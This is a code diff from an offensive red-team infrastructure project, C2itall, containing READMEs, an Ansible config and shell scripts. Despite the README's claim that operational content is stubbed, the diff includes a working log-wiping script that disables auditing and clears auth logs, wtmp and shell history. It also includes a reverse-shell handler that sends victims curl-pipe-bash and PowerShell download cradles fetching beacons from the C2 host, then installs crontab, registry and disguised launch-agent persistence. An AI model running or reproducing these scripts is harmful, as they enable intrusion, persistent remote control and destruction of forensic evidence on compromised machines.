- Binary signature randomization per build
|
||||||
|
|
||||||
|
### Redirectors (`modules/redirectors/`)
|
||||||
|
|
||||||
|
HTTPS redirectors sit in front of the C2 server, forwarding only valid beacon traffic while serving decoy content to scanners and incident responders. They also serve as the phishing landing infrastructure.
|
||||||
|
|
||||||
|
**Infrastructure side (intact):**
|
||||||
|
- nginx reverse proxy configuration with category-matched domain front
|
||||||
|
- Automatic SSL via Let's Encrypt
|
||||||
|
- Traffic filtering rules: forward beacons matching URI/User-Agent profile, serve 200 OK decoy to everything else
|
||||||
|
- Fail2ban tuned for redirector traffic patterns
|
||||||
|
|
||||||
|
**Landing page infrastructure (stubbed):**
|
||||||
|
- `capture.php.j2` — credential capture with transparent redirect; logs POST data and forwards the victim to the legitimate service so the submission appears to succeed
|
||||||
|
- `fake-login.html.j2` — cloned login page template structure (placeholders for target branding)
|
||||||
|
|
||||||
|
### Phishing Infrastructure (`modules/phishing/`)
|
||||||
|
|
||||||
|
Deploys a complete phishing mail stack: Postfix MTA, GoPhish campaign manager, and lure page hosting.
|
||||||
|
|
||||||
|
**Infrastructure side (intact):**
|
||||||
|
- Postfix + Dovecot configuration with DKIM signing
|
||||||
|
- DMARC/SPF record generation instructions
|
||||||
|
- GoPhish deployment and service configuration
|
||||||
|
- Email tracking pixel integration
|
||||||
|
|
||||||
|
**Lure content (stubbed):**
|
||||||
|
- Five email templates (file share notification, O365 login prompt, password expiry, security alert, vendor-branded alert) — stubs describe the social engineering angle and urgency framing each uses
|
||||||
|
- `fedramp-compliance.j2` — FedRAMP-themed lure landing page
|
||||||
|
|
||||||
|
### WEBRUNNER (`modules/webrunner/`)
|
||||||
|
|
||||||
|
Distributed cloud-based scanning infrastructure. Spins up scan nodes across multiple providers simultaneously, runs recon tasks in parallel, and aggregates results back to a central collection point. Designed to avoid rate-limiting and distribute scan signatures across provider ASNs.
|
||||||
|
|
||||||
|
Full implementation intact — this is infrastructure automation, not a weaponized component.
|
||||||
|
|
||||||
|
### Attack Box (`modules/attack-box/`)
|
||||||
|
|
||||||
|
Provisions operator workboxes (Kali or custom Ubuntu) in cloud providers for pivoting, scanning, and exfil staging. Handles SSH keypair injection, tool installation, and VPN configuration.
|
||||||
|
|
||||||
|
### Payload Server (`modules/payload-server/`)
|
||||||
|
|
||||||
|
Encrypted payload hosting with one-time-download links, delivery logging, and automatic expiry. Payloads are pulled from the C2 node at deployment time and served via HTTPS with access controls.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Secrets Management
|
||||||
|
|
||||||
|
No credentials are hardcoded anywhere. All provider API keys, SSH keypairs, and domain registrar tokens are pulled at runtime from a secrets manager (Infisical). The `creds` CLI fetches them by key name and folder:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
eval $(creds env aws) # exports AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
|
||||||
|
eval $(creds env linode) # exports LINODE_TOKEN
|
||||||
|
```
|
||||||
|
|
||||||
|
Deployment scripts source these at execution time and never write them to disk.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Deployment Flow
|
||||||
|
|
||||||
|
```
|
||||||
|
1. Select provider + deployment type from interactive menu
|
||||||
|
2. Provision node(s) via provider API
|
||||||
|
3. Wait for SSH availability
|
||||||
|
4. Run hardening playbook (baseline OS config, firewall, fail2ban, log controls)
|
||||||
|
5. Run role-specific playbook (C2 / redirector / phishing / etc.)
|
||||||
|
6. Run post-deploy verification (service health checks, connectivity tests)
|
||||||
|
7. Output deployment manifest (IPs, ports, credentials) to encrypted local file
|
||||||
|
```
|
||||||
|
|
||||||
|
Teardown reverses the provisioning step, destroying all cloud resources and deleting the deployment manifest.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tech Stack
|
||||||
|
|
||||||
|
| Layer | Technology |
|
||||||
|
|-------|-----------|
|
||||||
|
| Orchestration | Python 3.10+, Click, Rich |
|
||||||
|
| Configuration management | Ansible 2.14+ |
|
||||||
|
| Template engine | Jinja2 |
|
||||||
|
| Cloud providers | AWS (boto3), Linode API v4, FlokiNET |
|
||||||
|
| C2 framework | Havoc (open source) |
|
||||||
|
| Web server | nginx |
|
||||||
|
| Mail stack | Postfix + Dovecot + GoPhish |
|
||||||
|
| SSL | Let's Encrypt (certbot) |
|
||||||
|
| Secrets | Infisical (self-hosted) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Requirements
|
||||||
|
|
||||||
|
- Python 3.10+
|
||||||
|
- Ansible 2.9+
|
||||||
|
- Provider credentials in secrets manager
|
||||||
|
- SSH keypair for node access
|
||||||
|
- Registered domain (required for Let's Encrypt and mail DKIM)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pip install -r requirements.txt
|
||||||
|
ansible --version
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
python3 deploy.py
|
||||||
|
```
|
||||||
|
|
||||||
|
Interactive Rich TUI menu. All deployment options are accessible from the menu — no need to pass CLI flags manually.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Authorization
|
||||||
|
|
||||||
|
This tool is built for authorized red team engagements and penetration testing with written scope agreements. The operational content (payloads, lures, credential capture) is excluded from this public copy precisely because it is only appropriate in a scoped, authorized context.
|
||||||
|
|
||||||
|
If you're reviewing this as a potential employer: the stubs throughout this repo document exactly what was there and why it was built that way. The engineering decisions — modular Ansible roles, secrets management, provider abstraction, OPSEC-hardened defaults — are all visible in the intact infrastructure code.
|
||||||
@@ -0,0 +1,141 @@
|
|||||||
|
# C2itall: Infrastructure Automation for Red Teams
|
||||||
|
|
||||||
|
## What This Actually Does
|
||||||
|
|
||||||
|
**C2itall** is a tool that stops you from spending half your engagement setting up infrastructure. Instead of manually spinning up boxes, configuring C2s, and dealing with cloud provider bullshit, you run one command and get a fully configured attack infrastructure in minutes.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🎯 **Why This Matters**
|
||||||
|
|
||||||
|
### The Problem Every Red Teamer Knows:
|
||||||
|
- You spend 2 days setting up infrastructure before you even start testing
|
||||||
|
- Every operator configures things differently, leading to OPSEC failures
|
||||||
|
- Cloud costs spiral out of control because nobody tears down properly
|
||||||
|
- Junior operators can't deploy complex infrastructure without hand-holding
|
||||||
|
- Manual configs always have that one stupid mistake that burns the whole op
|
||||||
|
|
||||||
|
### What C2itall Actually Fixes:
|
||||||
|
- **5-minute infrastructure deployment** instead of 2-day setup marathons
|
||||||
|
- **Consistent, hardened configurations** every single time
|
||||||
|
- **Automatic teardown** so you're not paying for forgotten VMs
|
||||||
|
- **Any operator can deploy enterprise-grade infrastructure** on day one
|
||||||
|
- **Built-in OPSEC** that you don't have to remember to configure
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🚀 **What You Can Deploy Right Now**
|
||||||
|
|
||||||
|
### **Attack Boxes That Don't Suck**
|
||||||
|
- **Quick Recon Box**: Kali with just the recon tools, Tor proxy, minimal footprint
|
||||||
|
- **Full Kali Box**: Complete offensive arsenal, properly configured
|
||||||
|
- **Custom Ubuntu**: Your own toolset, your way
|
||||||
|
- **Proper Sizing**: Small boxes for recon, beefy ones for cracking/research
|
||||||
|
- **OPSEC Built-In**: Tor, VPN tunneling, log cleaning, the works
|
||||||
|
|
||||||
|
### **C2 Infrastructure That Actually Works**
|
||||||
|
- **Framework Support**: Havoc, Cobalt Strike, Sliver, Mythic - pick your poison
|
||||||
|
- **Proper Architecture**: C2 + Redirector + Domain fronting, configured correctly
|
||||||
|
- **SSL Automation**: Let's Encrypt certs, no more self-signed cert warnings
|
||||||
|
- **Zero-Logs Mode**: Automatic log cleaning for when you need to stay invisible
|
||||||
|
- **Smart Firewall Rules**: Only your operator IP can SSH, everything else locked down
|
||||||
|
|
||||||
|
### **Support Infrastructure**
|
||||||
|
- **Phishing Campaigns**: Full GoPhish deployment with proper email configs
|
||||||
|
- **Payload Hosting**: Secure artifact delivery with access logging
|
||||||
|
- **Team Chat**: Encrypted comms that don't rely on Slack/Teams
|
||||||
|
- **Logging Aggregation**: Centralized logs when you need visibility
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 💼 **What's Working Now vs What's Coming**
|
||||||
|
|
||||||
|
### **✅ Ready for Operations**
|
||||||
|
- **Multi-Cloud Deployment**: AWS, Linode, FlokiNET - pick based on target geography
|
||||||
|
- **Automated Attack Boxes**: Kali/Ubuntu boxes deployed and configured in ~5 minutes
|
||||||
|
- **C2 Deployment**: Havoc/Sliver/CS infrastructure with proper redirectors
|
||||||
|
- **SSH Key Management**: No more sharing keys or password auth
|
||||||
|
- **One-Command Teardown**: Nuke everything when the engagement ends
|
||||||
|
|
||||||
|
### **🔧 Currently Being Fixed**
|
||||||
|
- **Zero-Logs Polish**: Making OPSEC log cleaning bulletproof
|
||||||
|
- **SSH Banner Handling**: Auto-accepting host keys so deployments don't hang
|
||||||
|
- **Region Intelligence**: Auto-selecting the best cloud regions for reliability
|
||||||
|
- **Error Recovery**: Better handling when cloud providers have issues
|
||||||
|
|
||||||
|
### **📊 Real Numbers**
|
||||||
|
- **95%+ Success Rate**: Deployments just work the first time
|
||||||
|
- **3-8 Minute Deployments**: vs 2-4 hours of manual setup
|
||||||
|
- **Multiple Cloud Providers**: Backup options when primary provider is down
|
||||||
|
- **15+ Global Regions**: Deploy close to your targets
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🛣️ **What's Coming Next**
|
||||||
|
|
||||||
|
### **Next Quarter - Making It Bulletproof**
|
||||||
|
- **Better Error Handling**: When stuff breaks, it fixes itself or tells you exactly what's wrong
|
||||||
|
- **VPN Mesh Networking**: All your infrastructure talking securely to each other
|
||||||
|
- **Container Support**: Docker-based deployments for even faster spin-up
|
||||||
|
- **API Integration**: Hook it into your existing workflow/ticketing systems
|
||||||
|
|
||||||
|
### **Mid-2025 - Advanced Operational Features**
|
||||||
|
- **Multi-User Support**: Team-based deployments with proper access controls
|
||||||
|
- **Cost Tracking**: Real-time cloud spend with automatic budget alerts
|
||||||
|
- **Template Sharing**: Save and share engagement-specific configurations
|
||||||
|
- **Automated Reporting**: Generate infrastructure docs for client deliverables
|
||||||
|
|
||||||
|
### **Late 2025 - Next-Level Automation**
|
||||||
|
- **Smart Sizing**: ML-powered instance sizing based on engagement type
|
||||||
|
- **Auto-Scaling**: Infrastructure that grows/shrinks based on actual usage
|
||||||
|
- **Threat Intel Integration**: Automatic IOC updates and signature management
|
||||||
|
- **Real-Time Monitoring**: Health checks and alerting for all your infrastructure
|
||||||
|
|
||||||
|
### **2026+ - Full Ecosystem**
|
||||||
|
- **Mobile Management**: Deploy and manage infrastructure from your phone
|
||||||
|
- **Edge Deployment**: Distributed infrastructure for complex operations
|
||||||
|
- **Advanced Integrations**: Native support for major SIEM/SOC platforms
|
||||||
|
- **Compliance Automation**: Automatic documentation for compliance requirements
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔥 **Why Red Teamers Actually Care**
|
||||||
|
|
||||||
|
### **Immediate Tactical Advantages**
|
||||||
|
- **More Time for Actual Testing**: Stop doing sysadmin work, start hacking
|
||||||
|
- **Consistent OPSEC**: No more "oh shit, did I remember to configure X?"
|
||||||
|
- **Cheaper Operations**: Automatic cost optimization and teardown
|
||||||
|
- **Faster Response**: Spin up new infrastructure in minutes when you get burned
|
||||||
|
|
||||||
|
### **Long-Term Operational Benefits**
|
||||||
|
- **Team Scaling**: New operators can deploy complex infrastructure immediately
|
||||||
|
- **Standardization**: Everyone uses the same hardened, tested configurations
|
||||||
|
- **Knowledge Retention**: Configurations are code, not tribal knowledge
|
||||||
|
- **Innovation Focus**: Spend time on new techniques, not infrastructure management
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🎯 **Bottom Line**
|
||||||
|
|
||||||
|
### **What Makes This Different**
|
||||||
|
- **Built by Red Teamers, for Red Teamers**: Not some generic DevOps tool
|
||||||
|
- **OPSEC by Default**: Security and stealth considerations built into everything
|
||||||
|
- **Multi-Cloud Native**: Never locked into one provider's pricing/availability
|
||||||
|
- **Production Ready**: Already being used in real engagements
|
||||||
|
|
||||||
|
### **The Real Value Proposition**
|
||||||
|
This isn't about "digital transformation" or "enterprise synergy" - it's about spending your time on tactics and techniques instead of fighting with cloud providers and configuration files. It's about junior operators being able to deploy the same infrastructure that senior operators use. It's about not losing engagements because someone forgot to configure the firewall properly.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🚀 **Getting Started**
|
||||||
|
|
||||||
|
1. **Try It Out**: Deploy a Quick Recon Box and see how fast it actually is
|
||||||
|
2. **Team Demo**: Show your team the difference between manual and automated deployment
|
||||||
|
3. **Pilot Engagement**: Use it for one engagement and measure the time savings
|
||||||
|
4. **Full Adoption**: Integrate into standard operating procedures
|
||||||
|
5. **Feedback Loop**: Help shape the roadmap based on real operational needs
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*C2itall - Because infrastructure should be invisible, not impossible*
|
||||||
+16
@@ -0,0 +1,16 @@
|
|||||||
|
[defaults]
|
||||||
|
host_key_checking = False
|
||||||
|
timeout = 30
|
||||||
|
retry_files_enabled = False
|
||||||
|
gathering = smart
|
||||||
|
fact_caching = memory
|
||||||
|
stdout_callback = default
|
||||||
|
bin_ansible_callbacks = True
|
||||||
|
nocows = 1
|
||||||
|
interpreter_python = auto_silent
|
||||||
|
ansible_python_interpreter = /opt/redteam/c2itall/venv/bin/python
|
||||||
|
|
||||||
|
[ssh_connection]
|
||||||
|
ssh_args = -o ControlMaster=auto -o ControlPersist=60s -o UserKnownHostsFile=/dev/null -o IdentitiesOnly=yes
|
||||||
|
pipelining = True
|
||||||
|
control_path = ~/.ansible/cp/%%h-%%p-%%r
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Zero-logs maintenance script
|
||||||
|
|
||||||
|
# Set aggressive umask to minimize permission footprint
|
||||||
|
umask 077
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
LOG_DIRS=(
|
||||||
|
"/var/log"
|
||||||
|
"/var/spool/mail"
|
||||||
|
"/var/spool/postfix"
|
||||||
|
"/var/lib/dhcp"
|
||||||
|
"/root/.bash_history"
|
||||||
|
"/home/*/.bash_history"
|
||||||
|
"/var/lib/nginx"
|
||||||
|
)
|
||||||
|
|
||||||
|
SYSTEM_LOGS=(
|
||||||
|
"auth.log"
|
||||||
|
"syslog"
|
||||||
|
"messages"
|
||||||
|
"kern.log"
|
||||||
|
"daemon.log"
|
||||||
|
"user.log"
|
||||||
|
"btmp"
|
||||||
|
"wtmp"
|
||||||
|
"lastlog"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Disable syslog temporarily
|
||||||
|
systemctl stop rsyslog 2>/dev/null
|
||||||
|
systemctl stop syslog-ng 2>/dev/null
|
||||||
|
systemctl stop systemd-journald 2>/dev/null
|
||||||
|
|
||||||
|
# Clear all standard logs
|
||||||
|
echo "[+] Clearing standard system logs..."
|
||||||
|
for log in "${SYSTEM_LOGS[@]}"; do
|
||||||
|
find /var/log -name "$log*" -exec truncate -s 0 {} \; 2>/dev/null
|
||||||
|
find /var/log -name "$log*" -exec cat /dev/null > {} \; 2>/dev/null
|
||||||
|
done
|
||||||
|
|
||||||
|
# Clear all journal logs
|
||||||
|
echo "[+] Clearing systemd journal..."
|
||||||
|
journalctl --vacuum-time=1s 2>/dev/null
|
||||||
|
rm -rf /var/log/journal/* 2>/dev/null
|
||||||
|
|
||||||
|
# Clear audit logs
|
||||||
|
echo "[+] Clearing audit logs..."
|
||||||
|
auditctl -e 0 2>/dev/null
|
||||||
|
cat /dev/null > /var/log/audit/audit.log 2>/dev/null
|
||||||
|
|
||||||
|
# Clear bash history for all users
|
||||||
|
echo "[+] Clearing bash history..."
|
||||||
|
for histfile in /root/.bash_history /home/*/.bash_history; do
|
||||||
|
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
|
||||||
|
done
|
||||||
|
history -c
|
||||||
|
cat /dev/null > ~/.bash_history 2>/dev/null
|
||||||
|
unset HISTFILE
|
||||||
|
|
||||||
|
# Clear NGINX logs
|
||||||
|
echo "[+] Clearing NGINX logs..."
|
||||||
|
for nginx_log in /var/log/nginx/*; do
|
||||||
|
[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
|
||||||
|
done
|
||||||
|
|
||||||
|
# Clear SSH logs
|
||||||
|
echo "[+] Clearing SSH logs..."
|
||||||
|
cat /dev/null > /var/log/auth.log 2>/dev/null
|
||||||
|
cat /dev/null > /var/log/secure 2>/dev/null
|
||||||
|
|
||||||
|
# Clear mail logs
|
||||||
|
echo "[+] Clearing mail logs..."
|
||||||
|
cat /dev/null > /var/log/mail.log 2>/dev/null
|
||||||
|
cat /dev/null > /var/log/maillog 2>/dev/null
|
||||||
|
|
||||||
|
# Clear sliver logs
|
||||||
|
echo "[+] Clearing Sliver C2 logs..."
|
||||||
|
find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
|
||||||
|
find /home/*/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
|
||||||
|
|
||||||
|
# Clear temporary directories
|
||||||
|
echo "[+] Clearing temporary files..."
|
||||||
|
rm -rf /tmp/* /var/tmp/* 2>/dev/null
|
||||||
|
|
||||||
|
# Clear RAM and swap
|
||||||
|
echo "[+] Clearing RAM cache and swap..."
|
||||||
|
sync
|
||||||
|
echo 3 > /proc/sys/vm/drop_caches
|
||||||
|
swapoff -a && swapon -a 2>/dev/null
|
||||||
|
|
||||||
|
# Restart logging services
|
||||||
|
systemctl start systemd-journald 2>/dev/null
|
||||||
|
systemctl start rsyslog 2>/dev/null
|
||||||
|
systemctl start syslog-ng 2>/dev/null
|
||||||
|
|
||||||
|
echo "[+] Log cleaning complete"
|
||||||
|
exit 0
|
||||||
@@ -0,0 +1,156 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Automated shell handler for catching and upgrading reverse shells
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
LISTEN_PORT=8844
|
||||||
|
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
|
||||||
|
C2_PORT=50051 # Sliver default gRPC port
|
||||||
|
WINDOWS_BEACON="/root/Tools/beacons/windows.exe"
|
||||||
|
LINUX_BEACON="/root/Tools/beacons/linux"
|
||||||
|
MACOS_BEACON="/root/Tools/beacons/macos"
|
||||||
|
|
||||||
|
# Set secure permissions
|
||||||
|
umask 077
|
||||||
|
|
||||||
|
# Logging function (minimal and encrypted)
|
||||||
|
log() {
|
||||||
|
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
||||||
|
local message="$1"
|
||||||
|
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
|
||||||
|
}
|
||||||
|
|
||||||
|
# Detect OS function
|
||||||
|
detect_os() {
|
||||||
|
local connection=$1
|
||||||
|
|
||||||
|
# Send commands to determine OS
|
||||||
|
echo "echo \$OSTYPE" > $connection
|
||||||
|
sleep 1
|
||||||
|
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
||||||
|
|
||||||
|
if [[ $ostype == *"win"* ]]; then
|
||||||
|
echo "windows"
|
||||||
|
elif [[ $ostype == *"darwin"* ]]; then
|
||||||
|
echo "macos"
|
||||||
|
elif [[ $ostype == *"linux"* ]]; then
|
||||||
|
echo "linux"
|
||||||
|
else
|
||||||
|
# Try Windows-specific command
|
||||||
|
echo "ver" > $connection
|
||||||
|
sleep 1
|
||||||
|
winver=$(cat $connection | grep -i "microsoft windows")
|
||||||
|
|
||||||
|
if [[ -n "$winver" ]]; then
|
||||||
|
echo "windows"
|
||||||
|
else
|
||||||
|
# Default to Linux if we can't determine
|
||||||
|
echo "linux"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Deploy appropriate beacon based on OS
|
||||||
|
deploy_beacon() {
|
||||||
|
local connection=$1
|
||||||
|
local os_type=$2
|
||||||
|
|
||||||
|
log "Deploying beacon for detected OS: $os_type"
|
||||||
|
|
||||||
|
case $os_type in
|
||||||
|
windows)
|
||||||
|
# Upload Windows beacon using PowerShell download cradle
|
||||||
|
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; iex (New-Object Net.WebClient).DownloadString('http://$C2_HOST:8443/beacon.ps1')" > $connection
|
||||||
|
;;
|
||||||
|
linux)
|
||||||
|
# Upload Linux beacon using curl
|
||||||
|
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
|
||||||
|
;;
|
||||||
|
macos)
|
||||||
|
# Upload macOS beacon using curl
|
||||||
|
echo "curl -s http://$C2_HOST:8443/beacon.sh | bash" > $connection
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
log "Beacon deployment command sent"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Establish persistence based on OS
|
||||||
|
establish_persistence() {
|
||||||
|
local connection=$1
|
||||||
|
local os_type=$2
|
||||||
|
|
||||||
|
log "Attempting to establish persistence on $os_type"
|
||||||
|
|
||||||
|
case $os_type in
|
||||||
|
windows)
|
||||||
|
# Windows persistence via registry run key
|
||||||
|
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
|
||||||
|
;;
|
||||||
|
linux)
|
||||||
|
# Linux persistence via crontab
|
||||||
|
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/check.sh | bash') | crontab -" > $connection
|
||||||
|
;;
|
||||||
|
macos)
|
||||||
|
# macOS persistence via launch agent
|
||||||
|
echo "mkdir -p ~/Library/LaunchAgents" > $connection
|
||||||
|
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/check.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||||
|
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
log "Persistence commands sent for $os_type"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main shell handler loop
|
||||||
|
handle_connections() {
|
||||||
|
log "Shell handler started on port $LISTEN_PORT"
|
||||||
|
|
||||||
|
# Use mkfifo for bidirectional communication
|
||||||
|
PIPE_PATH="/tmp/shell_handler_pipe"
|
||||||
|
trap 'rm -f $PIPE_PATH' EXIT
|
||||||
|
|
||||||
|
while true; do
|
||||||
|
# Clean up existing pipe
|
||||||
|
rm -f $PIPE_PATH
|
||||||
|
mkfifo $PIPE_PATH
|
||||||
|
|
||||||
|
log "Waiting for incoming connection..."
|
||||||
|
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
||||||
|
NC_PID=$!
|
||||||
|
|
||||||
|
# Wait for connection to be established
|
||||||
|
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
|
||||||
|
sleep 1
|
||||||
|
# Check if nc is still running
|
||||||
|
if ! kill -0 $NC_PID 2>/dev/null; then
|
||||||
|
log "Netcat process died, restarting..."
|
||||||
|
rm -f $PIPE_PATH $PIPE_PATH.output
|
||||||
|
continue 2 # Restart the outer loop
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
log "Connection received, detecting OS..."
|
||||||
|
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
|
||||||
|
log "Detected OS: $DETECTED_OS"
|
||||||
|
|
||||||
|
# Deploy beacon
|
||||||
|
deploy_beacon "$PIPE_PATH" "$DETECTED_OS"
|
||||||
|
sleep 5
|
||||||
|
|
||||||
|
# Establish persistence
|
||||||
|
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
|
||||||
|
sleep 5
|
||||||
|
|
||||||
|
# Keep connection alive for manual operation if needed
|
||||||
|
log "Beacon deployed, maintaining shell connection..."
|
||||||
|
echo "echo 'Shell upgraded to beacon. This connection will remain active for manual operation.'" > $PIPE_PATH
|
||||||
|
|
||||||
|
# Wait for connection to close
|
||||||
|
wait $NC_PID
|
||||||
|
log "Connection closed, cleaning up and restarting listener..."
|
||||||
|
rm -f $PIPE_PATH.output
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
# Start the shell handler
|
||||||
|
handle_connections
|
||||||
@@ -0,0 +1,302 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# post_install_c2.sh - Post-installation setup for C2 server
|
||||||
|
|
||||||
|
# ANSI color codes
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
RED='\033[0;31m'
|
||||||
|
BLUE='\033[0;34m'
|
||||||
|
NC='\033[0m' # No Color
|
||||||
|
|
||||||
|
# Default settings
|
||||||
|
DEBUG=false
|
||||||
|
RUN_ON_REDIRECTOR=false
|
||||||
|
|
||||||
|
# Show usage information
|
||||||
|
function show_usage() {
|
||||||
|
echo "Usage: $0 [options]"
|
||||||
|
echo ""
|
||||||
|
echo "Options:"
|
||||||
|
echo " -d, --debug Enable debug/verbose output"
|
||||||
|
echo " -r, --run-on-redirector Run post-install script on redirector"
|
||||||
|
echo " -h, --help Show this help message"
|
||||||
|
echo ""
|
||||||
|
}
|
||||||
|
|
||||||
|
# Process command line arguments
|
||||||
|
while [[ $# -gt 0 ]]; do
|
||||||
|
case $1 in
|
||||||
|
-d|--debug)
|
||||||
|
DEBUG=true
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
-r|--run-on-redirector)
|
||||||
|
RUN_ON_REDIRECTOR=true
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
-h|--help)
|
||||||
|
show_usage
|
||||||
|
exit 0
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
echo "Unknown option: $1"
|
||||||
|
show_usage
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
# Debug function - only prints if DEBUG is true
|
||||||
|
function debug() {
|
||||||
|
if [ "$DEBUG" = true ]; then
|
||||||
|
echo -e "${BLUE}[DEBUG] $1${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
echo -e "${BLUE}==================================================${NC}"
|
||||||
|
echo -e "${BLUE} C2ingRed Post-Installation Setup - C2 Server ${NC}"
|
||||||
|
echo -e "${BLUE}==================================================${NC}"
|
||||||
|
|
||||||
|
# Function to check if domain resolves to current IP
|
||||||
|
check_dns() {
|
||||||
|
domain=$1
|
||||||
|
current_ip=$(curl -s ifconfig.me)
|
||||||
|
resolved_ip=$(dig +short $domain)
|
||||||
|
|
||||||
|
debug "Checking DNS for $domain"
|
||||||
|
debug "Current IP: $current_ip"
|
||||||
|
debug "Resolved IP: $resolved_ip"
|
||||||
|
|
||||||
|
if [ "$resolved_ip" = "$current_ip" ]; then
|
||||||
|
echo -e "${GREEN}DNS check passed for $domain!${NC}"
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}DNS check failed for $domain${NC}"
|
||||||
|
echo -e "Current IP: $current_ip"
|
||||||
|
echo -e "Resolved IP: $resolved_ip or not set"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to set up Let's Encrypt
|
||||||
|
setup_letsencrypt() {
|
||||||
|
domain=$1
|
||||||
|
email=$2
|
||||||
|
|
||||||
|
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
|
||||||
|
debug "Domain: $domain, Email: $email"
|
||||||
|
|
||||||
|
# Stop Havoc service temporarily to free port 80
|
||||||
|
systemctl stop havoc 2>/dev/null
|
||||||
|
debug "Stopped Havoc service"
|
||||||
|
|
||||||
|
# Get certificate
|
||||||
|
debug "Running certbot to obtain certificate"
|
||||||
|
if [ "$DEBUG" = true ]; then
|
||||||
|
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
|
||||||
|
else
|
||||||
|
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
|
||||||
|
cert_result=$?
|
||||||
|
debug "Certbot result code: $cert_result"
|
||||||
|
|
||||||
|
if [ $cert_result -eq 0 ]; then
|
||||||
|
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
|
||||||
|
|
||||||
|
# Configure applications to use the certificate if needed
|
||||||
|
if [ -f "/etc/postfix/main.cf" ]; then
|
||||||
|
debug "Updating Postfix configuration with new certificate"
|
||||||
|
sed -i "s|^smtpd_tls_cert_file =.*|smtpd_tls_cert_file = /etc/letsencrypt/live/$domain/fullchain.pem|" /etc/postfix/main.cf
|
||||||
|
sed -i "s|^smtpd_tls_key_file =.*|smtpd_tls_key_file = /etc/letsencrypt/live/$domain/privkey.pem|" /etc/postfix/main.cf
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Restart Havoc
|
||||||
|
debug "Restarting Havoc service"
|
||||||
|
systemctl start havoc
|
||||||
|
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
|
||||||
|
|
||||||
|
# Restart Havoc
|
||||||
|
debug "Restarting Havoc service"
|
||||||
|
systemctl start havoc
|
||||||
|
|
||||||
|
return 1
|
||||||
|
fi
|
